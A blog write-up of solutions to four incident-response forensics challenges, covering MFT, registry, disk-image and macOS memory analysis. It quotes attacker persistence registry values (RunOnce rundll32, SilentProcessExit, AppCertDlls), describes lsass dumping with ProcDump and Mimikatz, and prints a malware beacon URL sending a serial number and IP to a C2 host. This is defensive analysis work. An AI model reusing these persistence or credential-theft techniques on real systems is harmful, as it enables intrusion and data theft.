The Digital Forensics Challenge 2019 hosted by the Korea Institute of Information Security & Cryptology (KIISC) ended on the first of Oktober. Below are my solutions to the first four (out of five) problems in the Incident Response Track.

The challenge files can be downloaded from the official homepage at http://dfchallenge.org. [UPDATE: This is not the case anymore – I uploaded the files to Google Drive, see links below].



IR100: https://drive.google.com/open?id=1txD4N-UgjWDDP_83PPY7vtcrrLpXqnB5

IR200: https://drive.google.com/open?id=1QSyw8JyaQLWp5LrA2uMzkkIxSkXH1wBy

IR300: https://drive.google.com/open?id=1Bog0TbcI9RgcgdUlp1geIKnaUe6rOmAl

IR400: https://drive.google.com/open?id=1F4jHRXR6bv64rz2bqfv8nYAdCzQQJEE8

Important: These solutions are my own solutions. There were no straight answer to the problems in the various challenges – you had to send your solutions in the form of a Write-Up to the operators of the challenge, who then evaluated the solutions and gave points based on the quality of the answers. It is very likely that you might find errors or simply wrong assumptions in the solutions below 😉

IR100 – Find malware artifacts

You are an IR examiner. The given file is the NTFS $MFT file of a PC infected with malware. The attacker made the $Recycle.Bin folder the foothold of the attack. Find all the information (name, created time, modified time, size, etc.) of the malware created in the $Recycle.Bin folder

The MFT can easily be analyzed under Linux with the open source tool analyzeMFT.py, which comes pre-installed on the Linux SIFT workstation:

$ analyzeMFT.py -f \$MFT -a -e -o analyzeMFT-output.csv

The created CSV-file can be searched for various keywords, like in our case, “Recycle”.

Output from the parsed $MFT file

Only one entry sticks really clearly out, marked as yellow above (filename 7.exe).

After dumping the MFT entry number 141268 with the command line tool MFTECmd.exe (this time under Windows), I saw that that the $SI record of the suspected malware file was modified. According to the Windows Time Rules, a change of the metadata means that the file was renamed OR moved:

Windows Time Rules – Standard Information

MFTECmd.exe -f MFT --de 141268 [truncated output] **** STANDARD INFO **** Created On: 2019-04-27 08:24:04.2302901 Content Modified On: 2019-04-27 08:24:04.2762124 Record Modified On: 2019-04-27 08:25:17.7437349 Last Accessed On: 2019-04-27 08:24:04.2302901

**** FILE NAME **** Created On: 2019-04-27 08:24:04.2302901 Content Modified On: 2019-04-27 08:24:04.2762124 Record Modified On: 2019-04-27 08:24:04.2762124 Last Accessed On: 2019-04-27 08:24:04.2302901

Following information can be gained about the malware inside the Recycle-Bin from the parsed MFT:

MFT-Entry-Number: 141268

Parent-Path: $Recycle.Bin

Filename: 7.exe

File-Size: 587776 bytes

The file was created at 2019-04-27 08:24:04

The file was last modified at 2019-04-27 08:24:04

The file was last accessed at 2019-04-27 08:24:04

The file was either renamed or moved at 2019-04-27 08:25:17

Root-Cause Analysis:

The word Document “(Alkaline)Ji_Won_Seo_Resume.doc” was (probably) downloaded into the following folder: \Users\micdrop\Downloads\입사지원서

The text in Korea means “Application form”.

Size of the downloaded document: 13091840 bytes.

Time of creation: 2019-04-27 08:22:14

Shortly after the creation of the Word Document, we see the creation of two PF files:

HI.EXE -F6C7DFEF.pf (Creation time: 2019-04-27 08:22:29)

-F6C7DFEF.pf (Creation time: 2019-04-27 08:22:29) DTSERV32.EXE-93D12CDD.pf (Creation time: 2019-04-27 08:22:33)

Also a file named Klog.dat was placed inside the Startup-Folder at 2019-04-27 08:22:43.



.\Users\micdrop\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup



Googling around for the program names, we find the following article from Symantec: https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2017-072704-2604-99



Description of the Backdoor Krad from Symantec

It seems that the computer who was infected belongs to a HR-person, stating from the folder named “application form”. The Word-Document (the resume) contained some form of Macro-Code (or an exploit), which dropped and executed both files hi.exe and DtServ32.exe and started them.

Because DtServ32.exe opens a backdoor on the computer, the attacker was able to place another file inside the Recycle-Bin. It is not clear if Klog.dat is an executable or really a DAT-file. It could be, stating from the name, that this file records keystrokes, a keylogger (KeyLOGer.dat).

IR200 – Block Autoruns

An attacker tried to keep accessing the compromised system even after system reboot, logout, etc. To maintain access to system, the attacker used persistence mechanisms such as bootkit, Hijacking, web shell, and scheduled task. By analyze a target file, find all persistence mechanisms registered by the attacker.

1. Persistence

The classic persistence mechanism via the RunOnce key. The w.exe application will run when a user logs into the system. However, according to the Microsoft site about the RunOnce key:

By default, the value of a RunOnce key is deleted before the command line is run.

https://docs.microsoft.com/en-us/windows/desktop/setupapi/run-and-runonce-registry-keys

It is not clear if the w.exe will set the RunOnce key again after running to maintain persistence via this key.

KeyPath: ROOT\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

Value: rundll32.exe shell32.dll,ShellExec_RunDLL C:\ProgramData\w.exe

Reference: https://lolbas-project.github.io/lolbas/Libraries/Shell32/

2. Persistence

Persistence via Environnent variables:

UserInitMprLogonScript -> C:\Users\micdrop\AppData\Local\durlek.bat

The durlek.bat file will run when the user micdrop logs into the system.

Reference: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/

3. Persistence

Persistence via Winlogon Registry-key.

According to the Blog-Post from Malwarebytes (see Reference section below), this key is used for a user to get access to his Desktop and Taskbar, among other things. The blog post is currently unavailable, but can be looked up via the Google Cache.

The default key was extended, so that now also the win32.exe besides the legit explorer.exe starts when a user logs in.

KeyPath: ROOT\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon

Value: explorer, C:\Users\Default\win32.exe

Reference:

https://blog.malwarebytes.com/cybercrime/2016/05/tech-support-scammers-using-winlogon/

4. Persistence

Classical persistence via a Service which auto-starts:

Wed May 15 11:33:35 2019Z,TLPSrv,TLP Server,C:\Program Files\tlpsrv.exe,,Auto Start,LocalSystem

The program is not know under this path on the Internet, so the odds are good this is a malicious binary (the chosen name is probably to blend in):

NisSrv.exe not known on the Internet

5. Persistence

Interesting persistence, which triggers when the application mmc.exe (which is used often by administrators and power-users for various tasks) is closed. When the application is closed, the file NisSrv.exe is executed:

SOFTWARE.txt:1557745928|REG|||SilentProcessExit: mmc.exe – MonitorProcess: C:\ProgramData\NisSrv.exe

Reference:

https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe

6. Persistence

Persistence is achieved through the following registry key, which is a nifty method documented by the team at Palo Alto (see the link below):

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office Test\Special\Perf]

@=”%ProgramData%\\sxs.dll”

There exists a legitimate sxs.dll, but not under %ProgramData%! This must clearly be another persistence method of the attacker.

Reference:

https://unit42.paloaltonetworks.com/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/

7. Persistence

Winlogon process uses the value specified in the Userinit key to launch login scripts etc. This key is location at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. Usually, userinit key points to userinit.exe but if this key can be altered, then that exe will also launch by Winlogon.

“Userinit”=”C:\\Windows\\system32\\userinit.exe,C:\\Windows\\utilman.exe”

The UserInit-Key was added with another entry, calling the utilman.exe. This could be legit; however, the real utilman.exe is stored under Windows\System32! Therefore, this must be another persistence method of the attacker!

Reference:

https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref

8. Persistence

Persistence trough AppCert DLLs:

Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec.

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\AppCertDlls]

“AppSrvDll”=”%APPDATA%\\rmfotj.dll”

References:

https://attack.mitre.org/techniques/T1182/

http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/

IR300 – Attacker Behavior Analytics

The objective of this exercise is to analyze a victim’s system and identify an attacker’s behavior. A target file is a logical image that captured the victim’s system using FTK Imager.

Mounting the evidence with FTK Imager and create a Directory Listing:

Create a directory listing in FTK Imager

Successfully created directory listing

This will give us kind of a timeline we can work with. First, we scan the mounted image with Windows Defender:

First Windows Defender detection

First hit. Moreover, a second hit:

Second Windows Defender detection

1. Find the malware in the “Startup” folder and figure out where it came from.

The Windows Defender detections gave us a good picture of where the malware came from. We see some AV detection on the file \Users\PLSoft\AppData\Local\Google\Chrome\User Data\Default\Cache\f_00057:

Checking the Cache file from Google Chrome

This seems to be an archive holding a Word-Document. That the file was downloaded from the Internet is also visible through the creation of the Zone.Identifier DATA shortly after the creation of the RAR file:

Created Zone.Identifier

This seems to fit, because we see again on the Windows Defender detection:

\Users\PLSoft\Downloads\Resume.rar

The name of the file is (resume)hanna_lee_resume.docx. However, this is NOT the malicious document, and this document is legit. The malicious document is Resume.rar, which is a Word-Document, and well-known on VT: https://www.virustotal.com/gui/file/12d81d59f0624a21423b0ec842869f4d3066bcacfcd3592e2e08c4d79fd7f0db/detection

This file is the well-known Remote Access Trojan, also called DarkComet:

\Users\PLSoft\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe

https://www.virustotal.com/gui/file/f6d581e22f9b14d6263882cd5890a2d0b3187833c2354ed9de6d0a7a8ea89ad1/detection

From the timeline, it is also clear that the Word document must have been weaponized, because the opening of the document and the creation of the file in the startup-folder goes hand in hand:

Creation of the document and creation of the malware

Inside the Chrome Cache, we find that the file was downloaded from Google Drive:

Download from Google Drive

==================================================

Filename : fileName=Resume.rar&mimeType=application%2Frar&fileSize=0&key=.json

URL : https://clients6.google.com/drive/v2internal/files/1SO0ciIy7qjeMXa4mM1lyXsLYhxMTcxPb/preview?fileName=Resume.rar&mimeType=application%2Frar&fileSize=0&key=AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4

Content Type : application/json

File Size : 120

Last Accessed : 03/06/2019 18:01:26

Server Time : 03/06/2019 18:01:28

Server Name : GSE

Server Response : HTTP/1.1 404

Content Encoding : gzip

Cache Name : data_1 [224256]

Cache Control : private, max-age=0

Server IP Address : 216.58.197.17

==================================================

2. Describe the attacker’s method in obtaining the victim’s credentials?

What stand out in our timeline is the lsass.exe.DMP, as this is VERY suspicious. At the same time of the creation of this file, we see the creation of two prefetch files for the executables akagi64 and pdump64:

Timeline, continued

First, the attacker defeated UAC by running akagi64 (UACMe):

Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor. https://github.com/hfiref0x/UACME



Thanks to the lsass-dump in \ProgramData, we can see what the attacker was doing for creating the dump:

Analyzing the dump with WinDBG

Inside the dump in WinDBG, we can see the command line the attacker used to create the lsass-dump. pdump.exe is a renamed copy of the popular SysInternals Tools ProcDump, and used for dumping processes. The credentials can easily be read out from the dump with Mimikatz, as described here: https://ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-using-mimikatz

3. Identify a technique and a tool used for data leakage. Figure out the size of the data that were sent and received.

Windows Defender gave us another hit for malware (\ProgramData\l.exe):

Third detection from Windows Defender

Checking this file on VirusTotal, we see some interesting community comments: https://www.virustotal.com/gui/file/6ca91ea954a5f2e98deb0e402517c38d32e01580f6ea031cc58fc9c17164b4d1/detection

Signature Match – THOR APT Scanner

Detection

============================

Rule: CN_Honker__lcx_HTran2_4_htran20

Ruleset: Hacktools 1

Description: Sample from CN Honker Pentest Toolset – from files lcx.exe, HTran2.4.exe, htran20.exe

Reference: Disclosed CN Honker Pentest Toolset

Author: Florian Roth

Score: 70

Researching further, we find the source code of this file:

Yara-Rule for the detection of the CN Honker binary

And this seems to be our software used for data exfiltration! Here is a screenshot of the tool with the options we see in the source code above:

Screenshot of the lcx binary

Moreover, the tool can be used to send and receive data

Screenshot of the lcx binary

Interestingly, htran as a data exfiltration tool is also mentioned in a brand new blog post about APT10:

https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers

4. Describe the information of leaked data including data type, source, and file list.

Inside the \ProgramData folder, which seems to be the staging directory for the attacker, we see the following file:

ProgramData was used as staging binary

Two minutes before this file is created, 7-Zip is started on the machine:

Timeline, continued

Yes, this file is a 7z-archive, masked with another file extension:

$ file data.bin

data.bin: 7-zip archive data, version 0.3



We extract the archive:

$ 7z x data.bin

7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18

p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,2 CPUs)

Processing archive: data.bin

Extracting A Secure Deletion for NAND Flash File System.pdf

Extracting Flash Memory SW Overview.pdf

Extracting Forensic Data Recovery from Flash Memory.pdf

Extracting FTL_2007.pdf

Extracting SSD Forensics.pdf

Extracting survey-merge-final-tex.pdf

Extracting Flash Structure.pptx

Everything is Ok

Files: 7

Size: 5180533

Compressed: 4600464

The following files were prepared for exfiltration:

$ ls -latrh *

-rw-rw-r– 1 sansforensics sansforensics 710K Mar 9 2012 FTL_2007.pdf

-rw-rw-r– 1 sansforensics sansforensics 216K Mar 9 2012 survey-merge-final-tex.pdf

-rw-rw-r– 1 sansforensics sansforensics 2.2M Mar 9 2012 Forensic Data Recovery from Flash Memory.pdf

-rw-rw-r– 1 sansforensics sansforensics 507K Mar 9 2012 A Secure Deletion for NAND Flash File System.pdf

-rw-rw-r– 1 sansforensics sansforensics 341K Mar 9 2012 Flash Memory SW Overview.pdf

-rw-rw-r– 1 sansforensics sansforensics 1006K Mar 9 2012 SSD Forensics.pdf

-rw-rw-r– 1 sansforensics sansforensics 59K Mar 12 2012 Flash Structure.pptx

Shortly after the creation of the 7z-Archive, the data exfiltration started:

Timeline, continued

l.exe is the HTRAN software described earlier.

5. List all tools used by the attacker and explain why the attacker employed each tool.

PROCDUMP (pdump.exe)

https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

For dumping the LSASS process, which “stores” the credentials from the users. Extracting the credentials from this dump is easy with mimikatz: https://ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-using-mimikatz

UACME (akagi64.exe)

https://github.com/hfiref0x/UACME

For bypassing the UAC control.

HTRAN (l.exe)

https://github.com/HiwinCN/HTran

HTran is a connection bouncer, a kind of proxy server. A “listener” program is hacked stealthily onto an unsuspecting host anywhere on the Internet. When it receives signals from the actual target system, it redirects it to the hacker’s server.



It was used by the hacker to exfiltrate the data out of the network.

https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers

7-Zip Stand-alone (7ZA.EXE)

https://www.7-zip.org/download.html

Used for packing up the data for exfiltration (creation of an archive file).

IR400 – Defend Mac OS X

The target file is a macOS memory dump file.

$ vol.py -f IR400.mem mac_get_profile

MacElCapitan_10_11_4_15E65x64 0x00004c00000

Download the relevant profile from the Volatility-Github page:

Various Mac profiles for Volatility

Copy the downloaded ZIP file to this folder on the analysis workstation:

/usr/lib/python2.7/dist-packages/volatility/plugins/overlays/mac/



Run the following script from within the above folder:

Let’s go!

1. What is the name and PID of the malicious process?

Used Volatility-Plugin:

mac_psaux – Prints processes with arguments in user land (**argv)

Looking through the started programs and command line, there was only one program with the starting-path /Users/Shared, which in itself, is fishy. After a Google search, I found out that there exists a legitimate mdworker binary on an installation of Mac OSX, but not in this folder, so this must be a trick to blend an analyst.

We are confident that this is our malicious binary, in fact we are sure this is the binary in question, as we will see in the next paragraphs.

Pid Name Bits Stack Length Argc Arguments

——– ——————– —————- —————— ——– ——– ———

320 mdworker 64BIT 0x00007fff5fc00000 512 1 executable_path=/Users/Shared/mdworker /Users/Shared/mdworker

PID: 320

Name: mdworker

$ file mdworker

mdworker: Mach-O 64-bit x86_64 executable

$ sha256sum mdworker

42e10ddf6010db9b189cabe6040519cb29c7043a538aad6546d100f35677f23a mdworker

Looking at the strings from the binary:

/Users/develo/Documents/prj/iterm/iterm/

_xor

_AESDec

_getSerialNumber

_getownip

_Communication

_ipaddress

_Key

_xorkey

NSData+AESCrypt.m

This looks highly suspicious…

2. What data does the malicious process collect?

The plaintext strings above gave it away, but loading the file in IDA gives us the functions names as well:

Overview of the functions of the malware

Therefore, the binary collects the Serial-Number of the device and the (external) IP-Address with the help of the well-known service DynDNS, as we will see in the next chapter. We suspect that the collected data will be sent to a remote server from within the Communication-Function().

The function getownip() returns the IP-Address: 175.223.22.118

The function getSerialNumber() returns the following serial number: “VM0Za+nHR2La”

It is unclear if this is the correct serial number, as normally, serial numbers of a MAC have a size of 12 characters, but our serial number consists of a blank space. However, as the prefix VM indicate, this is probably a VM, and so the serial number can be changed to any value.

3. What a file is created by the malicious process? What are the contents of the file?

Used Volatility-Plugin:

mac_memdump – Dump addressable memory pages to a file

Extracting the strings on the memory file we get with the above command, we see that the following plist-File is created by our malware:

/Users/test/Library/LaunchAgents/com.apple.mdworker.plist

Placed inside the /Library/LaunchAgents Folder from the User test, these plist will be read upon login from the user test, and the specified program will be executed at logon by the user. Besides from this plist-file, the following file could also be identified.

Used Volatility-Plugin:

mac_recover_filesystem – Recover the cached filesystem

We first dumped the whole filesystem inside the memory. Then, we created a list of all files:

$ find . -type f | xargs file > file_list.txt



Doing a sophisticated grep for the key-word “mdworker” on the file list:

$ grep mdworker file_list.txt

./Users/Shared/mdworker: Mach-O 64-bit x86_64 executable



./Users/test/Library/Caches/mdworker/Cache.db-wal:

SQLite Write-Ahead Log, version 3007000



./Users/test/Library/Caches/mdworker/Cache.db: SQLite 3.x database



./Users/test/Library/Caches/mdworker/Cache.db-shm:

data

And we have hits!

The process creates a SQLite3 database inside the folder /Users/test/Library/Caches/mdworker/Cache.db.

The contents of the file:

Cache.db

The database contains of four tables:

cfurl_cache_blob_data

cfurl_cache_response

cfurl_cache_receiver_data

cfurl_cache_schema_version

We suspect that the binary makes a request to the URL www.dyndns.org/cgi-bin/check_ip.cgi and caches the response of this website, to later send it to the C2 server (the external server).

The current IP address inside the cache is 175.223.22.118.

And here is the full dump of the database:

$ sqlite3 Cache.db .dump out

PRAGMA foreign_keys=OFF;

BEGIN TRANSACTION;

CREATE TABLE cfurl_cache_schema_version(schema_version INTEGER);

INSERT INTO “cfurl_cache_schema_version” VALUES(106);

CREATE TABLE cfurl_cache_response(entry_ID INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE, version INTEGER, hash_value INTEGER, storage_policy INTEGER, request_key TEXT UNIQUE, time_stamp NOT NULL DEFAULT CURRENT_TIMESTAMP, partition TEXT);

INSERT INTO “cfurl_cache_response” VALUES(1,0,-1965715287,0,’http://www.dyndns.org/cgi-bin/check_ip.cgi’,’2019-06-18 11:56:12′,NULL);

CREATE TABLE cfurl_cache_blob_data(entry_ID INTEGER PRIMARY KEY, response_object BLOB, request_object BLOB, proto_props BLOB, user_info BLOB);

INSERT INTO “cfurl_cache_blob_data” VALUES(1,X’62706C6973743030D2010203045756657273696F6E5541727261791001A7050A0B0C0D2021D2060708095F10105F434655524C537472696E67547970655C5F434655524C537472696E67100F5F102A687474703A2F2F7777772E64796E646E732E6F72672F6367692D62696E2F636865636B5F69702E6367692341C15E5D2D462092100010C8D90E0F101112131415161718191A1B1C1D1E1F565365727665725C436F6E74656E742D547970655A436F6E6E656374696F6E54446174655D4163636570742D52616E6765735F1010436F6E74656E742D456E636F64696E675E436F6E74656E742D4C656E6774685D43616368652D436F6E74726F6C54566172795F101444796E444E532D436865636B49502F312E302E315F101D746578742F68746D6C3B20636861727365743D49534F2D383835392D3155636C6F73655F101D4672692C203231204A756E20323031392030373A31303A313820474D54546E6F6E6554677A697053313030586E6F2D63616368655F100F4163636570742D456E636F64696E67106A59746578742F68746D6C0008000D0015001B001D0025002A003D004A004C0079008200840086009900A000AD00B800BD00CB00DE00ED00FB010001170137013D015D01620167016B0174018601880000000000000201000000000000002200000000000000000000000000000192′,X’62706C6973743030D2010203045756657273696F6E5541727261791009AF101605060B0C0D0E0F0D0D0E050C12120C130D1415160D0D08D20708090A5F10105F434655524C537472696E67547970655C5F434655524C537472696E67100F5F102A687474703A2F2F7777772E64796E646E732E6F72672F6367692D62696E2F636865636B5F69702E63676923404E00000000000010005F101F5F5F434655524C526571756573744E756C6C546F6B656E537472696E675F5F091006090823000000000000000013FFFFFFFFFFFFFFFF100253474554D31718191A1B1C5F100F4163636570742D456E636F64696E67564163636570745F100F4163636570742D4C616E67756167655D677A69702C206465666C617465532A2F2A55656E2D75730008000D0015001B001D00360037003C004F005C005E008B0094009600B800B900BB00BC00BD00C600CF00D100D500DC00EE00F50107011501190000000000000201000000000000001D0000000000000000000000000000011F’,X’62706C6973743030D101025F100F4163636570742D456E636F64696E67D103045F100F4163636570742D456E636F64696E675D677A69702C206465666C617465080B1D20320000000000000101000000000000000500000000000000000000000000000040′,NULL);

CREATE TABLE cfurl_cache_receiver_data(entry_ID INTEGER PRIMARY KEY, isDataOnFS INTEGER, receiver_data BLOB);

INSERT INTO “cfurl_cache_receiver_data” VALUES(1,0,X’3C68746D6C3E3C686561643E3C7469746C653E43757272656E7420495020436865636B3C2F7469746C653E3C2F686561643E3C626F64793E43757272656E7420495020416464726573733A203137352E3232332E32322E3131383C2F626F64793E3C2F68746D6C3E0D0A’);

DELETE FROM sqlite_sequence;

INSERT INTO “sqlite_sequence” VALUES(‘cfurl_cache_response’,1);

CREATE INDEX request_key_index ON cfurl_cache_response(request_key);

CREATE INDEX time_stamp_index ON cfurl_cache_response(time_stamp);

CREATE INDEX proto_props_index ON cfurl_cache_blob_data(entry_ID);

CREATE INDEX receiver_data_index ON cfurl_cache_receiver_data(entry_ID);

COMMIT;

4. What external IP does the malicious process access?

Used Volatility-Plugin:

mac_memdump – Dump addressable memory pages to a file

Dumping the process (PID 320) with the Volatility-Plugin mac_memdump.

Searching for IP-Addresses inside the memory dump:

$ strings FFFFFF800D7B0A78.mdworker.dmp | egrep “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}”

We now from the analyzing of the binary in IDA what information the binary collects and that it probably sends those collected information to a remote server. This hit here looks very promising:

http://192.168.43.100:8888/result.php?userid=VM0Za+nHR2La&ip=175.223.22.118

We see a connection to the IP-Address 192.168.43.100 on Port 8888. A PHP-Script called result.php have two parameters, called userid and ip. The transferred userid is “VM0Za+nHR2La” (the space maybe from a corrupt dump, or it is really a space inside the serial number), and the external ip address 175.223.22.118. NOTE: This must be in fact the real serial number of the device:

Jun 21 16:10:03 tests-Mac apsd[70]: Hardware SerialNumber “VM0Za+nHR2La” looks incorrect or invalid

The serial number got probably manually set to make it harder to search for it inside the memory 😉

5. Describe the actions of the malicious process sequentially.

Pseudo-Code of the main function of the binary:

Pseudo-Code in IDA

Key-Points from the main function:

The script block inside the main function is embraced by a while loop which is always true, so the code inside this script block will be executed repeatedly again.

=> Line 12

The scripts enters the function RegisterLaunchAgents(), which is responsible for maintaining persistence via a new LaunchAgent.

=> Line 16

The next step the program takes is to get the Device Serial Number of the Computer the binary was started. It calls the function getSerialNumber(), which decompiled code looks a bit like this code here:

https://stackoverflow.com/questions/52982791/how-to-get-the-device-serial-number-in-object-c-or-in-swift

=> Line 18

The following line of code is probably a decoy and included to baffle a reverse engineer:

v7 = objc_msgSend(ipaddress, (SEL)&sel__0, Key);

This line as well the called function AESDec() do nothing.

=> Line 20

The program enters the function Communication()

=> Line 23

Inside the Communication() function, there is a call to the getownip() function, which makes the request to the DynDNS IP-Service, as we saw fragments of this connection inside the Sqlite3 database.

Next, inside the Communication() function, some value will be sent to an external IP address. The collected data is sent to via this request:

http://192.168.43.100:8888/result.php?userid=VM0Za+nHR2La&ip=175.223.22.118